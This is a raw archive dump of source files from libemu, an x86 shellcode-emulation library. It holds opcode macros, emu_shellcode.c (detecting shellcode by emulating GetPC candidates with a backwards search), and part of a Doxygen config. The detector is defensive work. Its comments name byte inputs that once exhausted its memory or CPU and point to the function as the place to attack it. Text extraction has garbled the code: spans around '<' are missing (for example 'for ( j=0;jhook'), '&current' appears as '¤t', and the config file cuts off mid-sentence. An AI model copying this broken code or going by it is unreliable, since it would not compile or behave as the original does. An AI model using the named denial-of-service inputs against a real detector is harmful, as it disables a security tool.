table 2 #define EXT_CP 0x00000030 // co-processor // Instruction type flags #define TYPE_3 0x80000000 #define MASK_TYPE_FLAGS(x) ((x) & 0xff000000) #define MASK_TYPE_VALUE(x) ((x) & 0x00ffffff) // Operand flags #define FLAGS_NONE 0 // Operand Addressing Methods, from the Intel manual #define MASK_AM(x) ((x) & 0x00ff0000) #define AM_A 0x00010000 // Direct address with segment prefix #define AM_C 0x00020000 // MODRM reg field defines control register #define AM_D 0x00030000 // MODRM reg field defines debug register #define AM_E 0x00040000 // MODRM byte defines reg/memory address #define AM_G 0x00050000 // MODRM byte defines general-purpose reg #define AM_I 0x00060000 // Immediate data follows #define AM_J 0x00070000 // Immediate value is relative to EIP #define AM_M 0x00080000 // MODRM mod field can refer only to memory #define AM_O 0x00090000 // Displacement follows (without modrm/sib) #define AM_P 0x000a0000 // MODRM reg field defines MMX register #define AM_Q 0x000b0000 // MODRM defines MMX register or memory #define AM_R 0x000c0000 // MODRM mod field can only refer to register #define AM_S 0x000d0000 // MODRM reg field defines segment register #define AM_T 0x000e0000 // MODRM reg field defines test register #define AM_V 0x000f0000 // MODRM reg field defines XMM register #define AM_W 0x00100000 // MODRM defines XMM register or memory // Extra addressing modes used in this implementation #define AM_I1 0x00200000 // Immediate byte 1 encoded in instruction #define AM_REG 0x00210000 // Register encoded in instruction #define AM_IND 0x00220000 // Register indirect encoded in instruction // Operand Types, from the intel manual #define MASK_OT(x) ((x) & 0xff000000) #define OT_a 0x01000000 #define OT_b 0x02000000 // always 1 byte #define OT_c 0x03000000 // byte or word, depending on operand #define OT_d 0x04000000 // double-word #define OT_q 0x05000000 // quad-word #define OT_dq 0x06000000 // double quad-word #define OT_v 0x07000000 // word or double-word, depending on operand #define OT_w 0x08000000 // always word #define OT_p 0x09000000 // 32-bit or 48-bit pointer #define OT_pi 0x0a000000 // quadword MMX register #define OT_pd 0x0b000000 // 128-bit double-precision float #define OT_ps 0x0c000000 // 128-bit single-precision float #define OT_s 0x0d000000 // 6-byte pseudo descriptor #define OT_sd 0x0e000000 // Scalar of 128-bit double-precision float #define OT_ss 0x0f000000 // Scalar of 128-bit single-precision float #define OT_si 0x10000000 // Doubleword integer register #define OT_t 0x11000000 // 80-bit packed FP data // Operand permissions #define MASK_PERMS(x) ((x) & 0x0000f000) #define P_r 0x00004000 // Read #define P_w 0x00002000 // Write #define P_x 0x00001000 // Execute // Additional operand flags #define MASK_FLAGS(x) ((x) & 0x00000f00) #define F_s 0x00000100 // sign-extend 1-byte immediate #define F_r 0x00000200 // use segment register #define F_f 0x00000400 // use FPU register // Mask 0x000000f0 unused atm // Operand register mask #define MASK_REG(x) ((x) & 0x0000000f) // MODRM byte #define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6) #define MASK_MODRM_REG(x) (((x) & 0x38) >> 3) #define MASK_MODRM_RM(x) ((x) & 0x7) // SIB byte #define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x) #define MASK_SIB_INDEX(x) MASK_MODRM_REG(x) #define MASK_SIB_BASE(x) MASK_MODRM_RM(x) #ifdef __cplusplus } #endif #endif libemu-0.2.0+git20120122+564/src/emu_shellcode.c0000644000175300017530000004573211706767213017621 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "../config.h" #include "emu/emu_shellcode.h" #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_track.h" #include "emu/emu_source.h" #include "emu/emu_getpc.h" #include "emu/environment/emu_env.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/emu_hashtable.h" #include "emu/emu_graph.h" #include "emu/emu_list.h" #include "emu/emu_queue.h" #include "emu/emu_log.h" #define STATIC_OFFSET 0x00471000 #define EMU_SHELLCODE_TEST_MAX_STEPS 128 int tested_positions_cmp(struct emu_list_item *a, struct emu_list_item *b) { if ( ((struct emu_stats *)a->data)->cpu.steps > ((struct emu_stats *)b->data)->cpu.steps ) return 0; else if ( ((struct emu_stats *)a->data)->cpu.steps == ((struct emu_stats *)b->data)->cpu.steps ) if ( ((struct emu_stats *)a->data)->eip < ((struct emu_stats *)b->data)->eip ) return 0; return 1; } /** * This function takes the emu, the offset and tries to run * steps iterations. If it fails due to uninitialized * registers/eflags it will try to use the information passed by * etas to traverse the instruction tree and find an instruction * path in the tree which satisfies the initialization * requirements. * * To avoid testing the same positions over and over, the * already-tested positions are held in the known_positions * hashtable. * * The result is returned in the tested_positions_list. * * * The function is called for every GetPC candidate in the * suspected shellcode, therefore the known_positions prevent * testing the same locations for different starting points in * the data too. * * It is the vital part of libemu's shellcode detection, hard to * understand, hard to improve and hard to fix. * * Messing this function up, destroys libemu's shellcode * detection. * * The function is a mess, given the complexity of the loops it * is too long and the variable names do not provide any help. * * The bruteforce flag is useful, as it allows bfs even if some * instructions initializations are not set properly, but you'll * definitely miss its impact on the behaviour when making a * guess why something does not work. * * short explanation of the logic: * * the first starting point is our offset * * while we have starting points: * run the shellcode: error? * no! * continue * yes! * use the current starting eip as starting point to bfs * look for instructions which satisfy the requirements OR * brutefore * queue these new instructions as starting points * * * * History has proven the the function to be susceptible to * denial of service attacks, running the system out of memory * or cycles. * So, if you experience a 'problem', this is the first place to * look at, and the last one you want to look at, if you want to * cause a 'problem', same rules apply. * * This comment was written when patching one of these dos * problems * The known_positions arg has been unused for the time before, * seems like there was a good idea when writing the function * initially, but this good idea was abandoned once 'it worked' * * * * @param e the emu to run * @param data the data we run * @param datasize the data size * @param eipoffset the offset for eip * @param steps how many steps to try running * @param etas the track and source tree - the substantial * information to run the breath first search * @param known_positions * already tested positions * @param stats_tested_positions_list * the result list * @param brute_force * be aggressive? * * @return */ int32_t emu_shellcode_run_and_track(struct emu *e, uint8_t *data, uint16_t datasize, uint16_t eipoffset, uint32_t steps, // struct emu_env_w32 *env, struct emu_track_and_source *etas, struct emu_hashtable *known_positions, struct emu_list_root *stats_tested_positions_list, bool brute_force ) { struct emu_cpu *cpu = emu_cpu_get(e); struct emu_memory *mem = emu_memory_get(e); struct emu_queue *eq = emu_queue_new(); emu_queue_enqueue(eq, (void *)((uintptr_t)(uint32_t)eipoffset+STATIC_OFFSET)); // struct emu_list_root *tested_positions = emu_list_create(); struct emu_env *env = NULL; { // mark all vertexes white struct emu_vertex *x; for ( x= emu_vertexes_first(etas->static_instr_graph->vertexes); !emu_vertexes_attail(x); x = emu_vertexes_next(x)) { x->color = white; } } while ( !emu_queue_empty(eq) ) { uint32_t current_offset = (uint32_t)(uintptr_t)emu_queue_dequeue(eq); /* init the cpu/memory * scooped to keep number of used varnames small */ { logDebug(e, "running at offset %i %08x\n", current_offset, current_offset); emu_memory_clear(mem); if (env) emu_env_free(env); /* write the code to the offset */ emu_memory_write_block(mem, STATIC_OFFSET, data, datasize); env = emu_env_new(e); /* set the registers to the initial values */ int reg; for ( reg=0;reg<8;reg++ ) emu_cpu_reg32_set(cpu,reg ,0x0); emu_cpu_reg32_set(cpu, esp, 0x00120000); emu_cpu_eip_set(cpu, current_offset); /* set the flags */ emu_cpu_eflags_set(cpu,0x0); cpu->tracking = etas; } emu_tracking_info_clear(&etas->track); int j; for ( j=0;jhook.win->fnhook == NULL ) break; } else { int32_t ret = emu_cpu_parse(emu_cpu_get(e)); if ( ret == -1 ) { logDebug(e, "error at %s\n", cpu->instr_string); break; } ret = emu_cpu_step(emu_cpu_get(e)); if ( ret == -1 ) { logDebug(e, "error at %s (%s)\n", cpu->instr_string, strerror(emu_errno(e))); if (brute_force) { logDebug(e, "goto traversal\n"); goto traversal; } else break; } if ( emu_track_instruction_check(e, etas) == -1 ) { traversal: logDebug(e, "failed instr %s\n", cpu->instr_string); logDebug(e, "tracking at eip %08x\n", eipsave); if ( 0 && cpu->instr.is_fpu ) { } else { /* save the requirements of the failed instruction */ // struct emu_tracking_info *instruction_needs_ti = emu_tracking_info_new(); // emu_tracking_info_copy(&cpu->instr.cpu.track.need, instruction_needs_ti); struct emu_queue *bfs_queue = emu_queue_new(); /* * the current starting point is the first position used to bfs * scooped to avoid varname collisions */ { struct emu_tracking_info *eti = emu_tracking_info_new(); emu_tracking_info_diff(&cpu->instr.track.need, &etas->track, eti); eti->eip = current_offset; emu_tracking_info_debug_print(eti); if( emu_hashtable_search(known_positions, (void *)(uintptr_t)(uint32_t)current_offset) != NULL) { logDebug(e, "Known %p %x\n", eti, eti->eip); emu_tracking_info_free(eti); emu_queue_free(bfs_queue); break; } emu_queue_enqueue(bfs_queue, eti); } while ( !emu_queue_empty(bfs_queue) ) { logDebug(e, "loop %s:%i\n", __FILE__, __LINE__); struct emu_tracking_info *current_pos_ti_diff = (struct emu_tracking_info *)emu_queue_dequeue(bfs_queue); struct emu_hashtable_item *current_pos_ht = emu_hashtable_search(etas->static_instr_table, (void *)(uintptr_t)(uint32_t)current_pos_ti_diff->eip); if (current_pos_ht == NULL) { logDebug(e, "current_pos_ht is NULL?\n"); exit(-1); } struct emu_vertex *current_pos_v = (struct emu_vertex *)current_pos_ht->value; struct emu_source_and_track_instr_info *current_pos_satii = (struct emu_source_and_track_instr_info *)current_pos_v->data; if( emu_hashtable_search(known_positions, (void *)(uintptr_t)(uint32_t)current_pos_satii->eip) != NULL ) { logDebug(e, "Known Again %p %x\n", current_pos_satii, current_pos_satii->eip); current_pos_v->color = red; emu_tracking_info_free(current_pos_ti_diff); continue; } if (current_pos_v->color == red) { logDebug(e, "is red %p %x: %s\n", (uintptr_t)current_pos_v, current_pos_satii->eip, current_pos_satii->instrstring); emu_tracking_info_free(current_pos_ti_diff); continue; } logDebug(e, "marking red %p %x: %s \n", (uintptr_t)current_pos_v, current_pos_satii->eip, current_pos_satii->instrstring); current_pos_v->color = red; emu_hashtable_insert(known_positions, (void *)(uintptr_t)(uint32_t)current_pos_satii->eip, NULL); while ( !emu_tracking_info_covers(¤t_pos_satii->track.init, current_pos_ti_diff) || brute_force ) { logDebug(e, "loop %s:%i\n", __FILE__, __LINE__); if ( current_pos_v->backlinks == 0 ) { break; } else if ( current_pos_v->backlinks > 1 ) { /* queue all to diffs to the bfs queue */ struct emu_edge *ee; struct emu_vertex *ev; for ( ee = emu_edges_first(current_pos_v->backedges); !emu_edges_attail(ee); ee=emu_edges_next(ee) ) { ev = ee->destination; /** * ignore positions we've visited already * avoids dos for jz 0 * * try the next position instead */ if( ev->color == red ) continue; struct emu_source_and_track_instr_info *next_pos_satii = (struct emu_source_and_track_instr_info *)ev->data; logDebug(e, "EnqueueLoop %p %x %s\n", next_pos_satii, next_pos_satii->eip, next_pos_satii->instrstring); struct emu_tracking_info *eti = emu_tracking_info_new(); emu_tracking_info_diff(current_pos_ti_diff, ¤t_pos_satii->track.init, eti); eti->eip = next_pos_satii->eip; emu_queue_enqueue(bfs_queue, eti); } /** * the new possible positions and requirements got queued into the bfs queue, * we break here, so the new queued positions can try to work it out */ break; } else if ( current_pos_v->backlinks == 1 ) { /* follow the single link */ /** * ignore loops to self * avoids dos for "\xe3\xfe\xe8" * breaks the upper loop * */ if( current_pos_v == emu_edges_first(current_pos_v->backedges)->destination ) break; current_pos_v = emu_edges_first(current_pos_v->backedges)->destination; /** * again, ignore already visited positions * breaks the upper loop */ if( current_pos_v->color == red ) break; current_pos_v->color = red; struct emu_source_and_track_instr_info *next_pos_satii = (struct emu_source_and_track_instr_info *)current_pos_v->data; logDebug(e, "FollowSingle %p %i %x %s\n", next_pos_satii, current_pos_v->color, next_pos_satii->eip, next_pos_satii->instrstring); current_pos_satii = (struct emu_source_and_track_instr_info *)current_pos_v->data; emu_tracking_info_diff(current_pos_ti_diff, ¤t_pos_satii->track.init, current_pos_ti_diff); } } if ( emu_tracking_info_covers(¤t_pos_satii->track.init, current_pos_ti_diff) || brute_force ) { /** * we have a new starting point, this starting point may fail * too - if further backwards traversal is required * therefore we mark it white, so it can be processed again */ logDebug(e, "found position which satiesfies the requirements %i %08x\n", current_pos_satii->eip, current_pos_satii->eip); current_pos_ht = emu_hashtable_search(etas->static_instr_table, (void *)(uintptr_t)(uint32_t)current_pos_satii->eip); current_pos_v = (struct emu_vertex *)current_pos_ht->value; if(current_pos_satii->eip != current_offset ) { logDebug(e, "marking white %p %x: %s \n", (uintptr_t)current_pos_v, current_pos_satii->eip, current_pos_satii->instrstring); current_pos_v->color = white; } emu_tracking_info_debug_print(¤t_pos_satii->track.init); emu_queue_enqueue(eq, (void *)((uintptr_t)(uint32_t)current_pos_satii->eip)); } //discard: emu_tracking_info_free( current_pos_ti_diff); } emu_queue_free(bfs_queue); } /** * the shellcode did not run correctly as he was missing instructions initializing required registers * we did what we could do in the prev lines of code to find better offsets to start from * the working offsets got queued into the main queue, so we break here to give them a chance */ break; }else { logDebug(e, "%s\n", cpu->instr_string); } } } struct emu_stats *es = emu_stats_new(); es->eip = current_offset; es->cpu.steps = j; struct emu_list_item *eli = emu_list_item_create(); eli->data = es; logDebug(e, "INSERT %i %x steps %i\n", current_offset, current_offset, j); emu_list_insert_last(stats_tested_positions_list, eli); } emu_queue_free(eq); emu_env_free(env); /* sort all tested positions by the number of steps ascending */ emu_list_qsort(stats_tested_positions_list, tested_positions_cmp); struct emu_list_item *eli = emu_list_first(stats_tested_positions_list); struct emu_stats *es = (struct emu_stats *)eli->data; uint32_t best_offset = es->eip; return best_offset - STATIC_OFFSET; } enum { EMU_SCTEST_SUSPECT_GETPC, EMU_SCTEST_SUSPECT_MOVFS } emu_shellcode_suspect; int32_t emu_shellcode_test(struct emu *e, uint8_t *data, uint16_t size) { logPF(e); /* bool found_good_candidate_after_getpc = false; uint32_t best_eip=0; */ uint32_t offset; struct emu_list_root *el; el = emu_list_create(); for ( offset=0; offsetuint32 = offset; emu_list_insert_last(el, eli); } } if ( emu_list_length(el) == 0 ) { emu_list_destroy(el); return -1; } { struct emu_cpu *cpu = emu_cpu_get(e); struct emu_memory *mem = emu_memory_get(e); /* write the code to the offset */ emu_memory_write_block(mem, STATIC_OFFSET, data, size); /* set the registers to the initial values */ int reg; for ( reg=0;reg<8;reg++ ) emu_cpu_reg32_set(cpu,reg ,0x0); emu_cpu_reg32_set(cpu, esp, 0x00120000); emu_cpu_eip_set(cpu, 0); /* set the flags */ emu_cpu_eflags_set(cpu,0x0); } struct emu_track_and_source *etas = emu_track_and_source_new(); logDebug(e, "creating static callgraph\n"); /* create the static analysis graph set memory read only so instructions can't change it*/ emu_memory_mode_ro(emu_memory_get(e)); emu_source_instruction_graph_create(e, etas, STATIC_OFFSET, size); emu_memory_mode_rw(emu_memory_get(e)); struct emu_hashtable *eh = emu_hashtable_new(size+4/4, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); struct emu_list_item *eli; // struct emu_env_w32 *env = emu_env_w32_new(e); struct emu_list_root *results = emu_list_create(); for ( eli = emu_list_first(el); !emu_list_attail(eli); eli = emu_list_next(eli) ) { logDebug(e, "testing offset %i %08x\n", eli->uint32, eli->uint32); emu_shellcode_run_and_track(e, data, size, eli->uint32, 256, etas, eh, results, false); } /* for all positions we got, take the best, maybe take memory access into account later */ emu_list_qsort(results, tested_positions_cmp); if ( ((struct emu_stats *)emu_list_first(results)->data)->cpu.steps != 256 ) { emu_hashtable_free(eh); eh = emu_hashtable_new(size+4/4, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); logDebug(e, "brute force!\n"); struct emu_list_root *new_results = emu_list_create(); for ( eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli) ) { struct emu_stats *es = (struct emu_stats *)eli->data; logDebug(e, "brute at offset 0x%08x \n",es->eip - STATIC_OFFSET); emu_shellcode_run_and_track(e, data, size, es->eip - STATIC_OFFSET, 256, etas, eh, new_results, true); } emu_list_concat(results, new_results); emu_list_destroy(new_results); emu_list_qsort(results, tested_positions_cmp); /* uniq */ for ( eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli) ) { struct emu_list_item *next = emu_list_next(eli); if (!emu_list_attail(next) && ((struct emu_stats *)eli->data)->eip == ((struct emu_stats *)next->data)->eip ) { emu_stats_free(next->data); emu_list_remove(next); free(next); } } } emu_hashtable_free(eh); emu_list_destroy(el); // emu_env_w32_free(env); emu_track_and_source_free(etas); { struct emu_list_item *eli; for ( eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli) ) { struct emu_stats *es = (struct emu_stats *)eli->data; logDebug(e, "b offset 0x%08x steps %i\n",es->eip, es->cpu.steps); } } eli = emu_list_first(results); struct emu_stats *es = (struct emu_stats *)eli->data; if ( es->cpu.steps > 100 ) { offset = es->eip; } else { offset = -1; } for (eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli)) { emu_stats_free((struct emu_stats *)eli->data); } emu_list_destroy(results); return offset - STATIC_OFFSET; } struct emu_stats *emu_stats_new(void) { struct emu_stats *es = malloc(sizeof(struct emu_stats)); memset(es, 0, sizeof(struct emu_stats)); return es; } void emu_stats_free(struct emu_stats *es) { free(es); } libemu-0.2.0+git20120122+564/libemu.doxy0000644000175300017530000014325011706767213016232 0ustar dt-npbdt-npb# Doxyfile 1.4.4 # This file describes the settings to be used by the documentation system # doxygen (www.doxygen.org) for a project # # All text after a hash (#) is considered a comment and will be ignored # The format is: # TAG = value [value, ...] # For lists items can also be appended using: # TAG += value [value, ...] # Values that contain spaces should be placed between quotes (" ") #--------------------------------------------------------------------------- # Project related configuration options #--------------------------------------------------------------------------- # The PROJECT_NAME tag is a single word (or a sequence of words surrounded # by quotes) that should identify the project. PROJECT_NAME = libemu # The PROJECT_NUMBER tag can be used to enter a project or revision number. # This could be handy for archiving the generated documentation or # if some version control system is used. PROJECT_NUMBER = 1 # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) # base path where the generated documentation will be put. # If a relative path is entered, it will be relative to the location # where doxygen was started. If left blank the current directory will be used. OUTPUT_DIRECTORY = /tmp/libemu_doxy # If the CREATE_SUBDIRS tag is set to YES, then doxygen will create # 4096 sub-directories (in 2 levels) under the output directory of each output # format and will distribute the generated files over these directories. # Enabling this option can be useful when feeding doxygen a huge amount of # source files, where putting all generated files in the same directory would # otherwise cause performance problems for the file system. CREATE_SUBDIRS = NO # The OUTPUT_LANGUAGE tag is used to specify the language in which all # documentation generated by doxygen is written. Doxygen will use this # information to generate all constant output in the proper language. # The default language is English, other supported languages are: # Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, # Dutch, Finnish, French, German, Greek, Hungarian, Italian, Japanese, # Japanese-en (Japanese with English messages), Korean, Korean-en, Norwegian, # Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovene, Spanish, # Swedish, and Ukrainian. OUTPUT_LANGUAGE = English # This tag can be used to specify the encoding used in the generated output. # The encoding is not always determined by the language that is chosen, # but also whether or not the output is meant for Windows or non-Windows users. # In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES # forces the Windows encoding (this is the default for the Windows binary), # whereas setting the tag to NO uses a Unix-style encoding (the default for # all platforms other than Windows). USE_WINDOWS_ENCODING = NO # If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will # include brief member descriptions after the members that are listed in # the file and class documentation (similar to JavaDoc). # Set to NO to disable this. BRIEF_MEMBER_DESC = YES # If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend # the brief description of a member or function before the detailed description. # Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the # brief descriptions will be completely suppressed. REPEAT_BRIEF = YES # This tag implements a quasi-intelligent brief description abbreviator # that is used to form the text in various listings. Each string # in this list, if found as the leading text of the brief description, will be # stripped from the text and the result after processing the whole list, is # used as the annotated text. Otherwise, the brief description is used as-is. # If left blank, the following values are used ("$name" is automatically # replaced with the name of the entity): "The $name class" "The $name widget" # "The $name file" "is" "provides" "specifies" "contains" # "represents" "a" "an" "the" ABBREVIATE_BRIEF = # If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then # Doxygen will generate a detailed section even if there is only a brief # description. ALWAYS_DETAILED_SEC = NO # If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all # inherited members of a class in the documentation of that class as if those # members were ordinary class members. Constructors, destructors and assignment # operators of the base classes will not be shown. INLINE_INHERITED_MEMB = NO # If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full # path before files name in the file list and in the header files. If set # to NO the shortest path that makes the file name unique will be used. FULL_PATH_NAMES = YES # If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag # can be used to strip a user-defined part of the path. Stripping is # only done if one of the specified strings matches the left-hand part of # the path. The tag can be used to show relative paths in the file list. # If left blank the directory from which doxygen is run is used as the # path to strip. STRIP_FROM_PATH = # The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of # the path mentioned in the documentation of a class, which tells # the reader which header file to include in order to use a class. # If left blank only the name of the header file containing the class # definition is used. Otherwise one should specify the include paths that # are normally passed to the compiler using the -I flag. STRIP_FROM_INC_PATH = # If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter # (but less readable) file names. This can be useful is your file systems # doesn't support long names like on DOS, Mac, or CD-ROM. SHORT_NAMES = NO # If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen # will interpret the first line (until the first dot) of a JavaDoc-style # comment as the brief description. If set to NO, the JavaDoc # comments will behave just like the Qt-style comments (thus requiring an # explicit @brief command for a brief description. JAVADOC_AUTOBRIEF = NO # The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen # treat a multi-line C++ special comment block (i.e. a block of //! or /// # comments) as a brief description. This used to be the default behaviour. # The new default is to treat a multi-line C++ comment block as a detailed # description. Set this tag to YES if you prefer the old behaviour instead. MULTILINE_CPP_IS_BRIEF = NO # If the DETAILS_AT_TOP tag is set to YES then Doxygen # will output the detailed description near the top, like JavaDoc. # If set to NO, the detailed description appears after the member # documentation. DETAILS_AT_TOP = NO #YES // EDIT WAS NO # If the INHERIT_DOCS tag is set to YES (the default) then an undocumented # member inherits the documentation from any documented member that it # re-implements. INHERIT_DOCS = YES # If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC # tag is set to YES, then doxygen will reuse the documentation of the first # member in the group (if any) for the other members of the group. By default # all members of a group must be documented explicitly. DISTRIBUTE_GROUP_DOC = NO # If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce # a new page for each member. If set to NO, the documentation of a member will # be part of the file/class/namespace that contains it. SEPARATE_MEMBER_PAGES = NO # The TAB_SIZE tag can be used to set the number of spaces in a tab. # Doxygen uses this value to replace tabs by spaces in code fragments. TAB_SIZE = 8 # This tag can be used to specify a number of aliases that acts # as commands in the documentation. An alias has the form "name=value". # For example adding "sideeffect=\par Side Effects:\n" will allow you to # put the command \sideeffect (or @sideeffect) in the documentation, which # will result in a user-defined paragraph with heading "Side Effects:". # You can put \n's in the value part of an alias to insert newlines. ALIASES = # Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C # sources only. Doxygen will then generate output that is more tailored for C. # For instance, some of the names that are used will be different. The list # of all members will be omitted, etc. OPTIMIZE_OUTPUT_FOR_C = NO # Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java sources # only. Doxygen will then generate output that is more tailored for Java. # For instance, namespaces will be presented as packages, qualified scopes # will look different, etc. OPTIMIZE_OUTPUT_JAVA = NO # Set the SUBGROUPING tag to YES (the default) to allow class member groups of # the same type (for instance a group of public functions) to be put as a # subgroup of that type (e.g. under the Public Functions section). Set it to # NO to prevent subgrouping. Alternatively, this can be done per class using # the \nosubgrouping command. SUBGROUPING = YES #--------------------------------------------------------------------------- # Build related configuration options #--------------------------------------------------------------------------- # If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in # documentation are documented, even if no documentation was available. # Private class members and static file members will be hidden unless # the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES EXTRACT_ALL = YES #// EDITED WAS YES # If the EXTRACT_PRIVATE tag is set to YES all private members of a class # will be included in the documentation. EXTRACT_PRIVATE = YES # If the EXTRACT_STATIC tag is set to YES all static members of a file # will be included in the documentation. EXTRACT_STATIC = YES # If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) # defined locally in source files will be included in the documentation. # If set to NO only classes defined in header files are included. EXTRACT_LOCAL_CLASSES = YES # This flag is only useful for Objective-C code. When set to YES local # methods, which are defined in the implementation section but not in # the interface are included in the documentation. # If set to NO (the default) only methods in the interface are included. EXTRACT_LOCAL_METHODS = NO # If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all # undocumented members of documented classes, files or namespaces. # If set to NO (the default) these members will be included in the # various overviews, but no documentation section is generated. # This option has no effect if EXTRACT_ALL is enabled. HIDE_UNDOC_MEMBERS = NO # If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all # undocumented classes that are normally visible in the class hierarchy. # If set to NO (the default) these classes will be included in the various # overviews. This option has no effect if EXTRACT_ALL is enabled. HIDE_UNDOC_CLASSES = NO # If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all # friend (class|struct|union) declarations. # If set to NO (the default) these declarations will be included in the # documentation. HIDE_FRIEND_COMPOUNDS = NO # If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any # documentation blocks found inside the body of a function. # If set to NO (the default) these blocks will be appended to the # function's detailed documentation block. HIDE_IN_BODY_DOCS = NO # The INTERNAL_DOCS tag determines if documentation # that is typed after a \internal command is included. If the tag is set # to NO (the default) then the documentation will be excluded. # Set it to YES to include the internal documentation. INTERNAL_DOCS = NO # If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate # file names in lower-case letters. If set to YES upper-case letters are also # allowed. This is useful if you have classes or files whose names only differ # in case and if your file system supports case sensitive file names. Windows # and Mac users are advised to set this option to NO. CASE_SENSE_NAMES = YES # If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen # will show members with their full class and namespace scopes in the # documentation. If set to YES the scope will be hidden. HIDE_SCOPE_NAMES = NO # If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen # will put a list of the files that are included by a file in the documentation # of that file. SHOW_INCLUDE_FILES = YES # If the INLINE_INFO tag is set to YES (the default) then a tag [inline] # is inserted in the documentation for inline members. INLINE_INFO = YES # If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen # will sort the (detailed) documentation of file and class members # alphabetically by member name. If set to NO the members will appear in # declaration order. SORT_MEMBER_DOCS = YES # If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the # brief documentation of file, namespace and class members alphabetically # by member name. If set to NO (the default) the members will appear in # declaration order. SORT_BRIEF_DOCS = NO # If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be # sorted by fully-qualified names, including namespaces. If set to # NO (the default), the class list will be sorted only by class name, # not including the namespace part. # Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. # Note: This option applies only to the class list, not to the # alphabetical list. SORT_BY_SCOPE_NAME = NO # The GENERATE_TODOLIST tag can be used to enable (YES) or # disable (NO) the todo list. This list is created by putting \todo # commands in the documentation. GENERATE_TODOLIST = YES # The GENERATE_TESTLIST tag can be used to enable (YES) or # disable (NO) the test list. This list is created by putting \test # commands in the documentation. GENERATE_TESTLIST = YES # The GENERATE_BUGLIST tag can be used to enable (YES) or # disable (NO) the bug list. This list is created by putting \bug # commands in the documentation. GENERATE_BUGLIST = YES # The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or # disable (NO) the deprecated list. This list is created by putting # \deprecated commands in the documentation. GENERATE_DEPRECATEDLIST= YES # The ENABLED_SECTIONS tag can be used to enable conditional # documentation sections, marked by \if sectionname ... \endif. ENABLED_SECTIONS = # The MAX_INITIALIZER_LINES tag determines the maximum number of lines # the initial value of a variable or define consists of for it to appear in # the documentation. If the initializer consists of more lines than specified # here it will be hidden. Use a value of 0 to hide initializers completely. # The appearance of the initializer of individual variables and defines in the # documentation can be controlled using \showinitializer or \hideinitializer # command in the documentation regardless of this setting. MAX_INITIALIZER_LINES = 30 # Set the SHOW_USED_FILES tag to NO to disable the list of files generated # at the bottom of the documentation of classes and structs. If set to YES the # list will mention the files that were used to generate the documentation. SHOW_USED_FILES = YES # If the sources in your project are distributed over multiple directories # then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy # in the documentation. The default is YES. SHOW_DIRECTORIES = YES # The FILE_VERSION_FILTER tag can be used to specify a program or script that # doxygen should invoke to get the current version for each file (typically from the # version control system). Doxygen will invoke the program by executing (via # popen()) the command , where is the value of # the FILE_VERSION_FILTER tag, and is the name of an input file # provided by doxygen. Whatever the progam writes to standard output # is used as the file version. See the manual for examples. FILE_VERSION_FILTER = #--------------------------------------------------------------------------- # configuration options related to warning and progress messages #--------------------------------------------------------------------------- # The QUIET tag can be used to turn on/off the messages that are generated # by doxygen. Possible values are YES and NO. If left blank NO is used. QUIET = NO # The WARNINGS tag can be used to turn on/off the warning messages that are # generated by doxygen. Possible values are YES and NO. If left blank # NO is used. WARNINGS = YES # If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings # for undocumented members. If 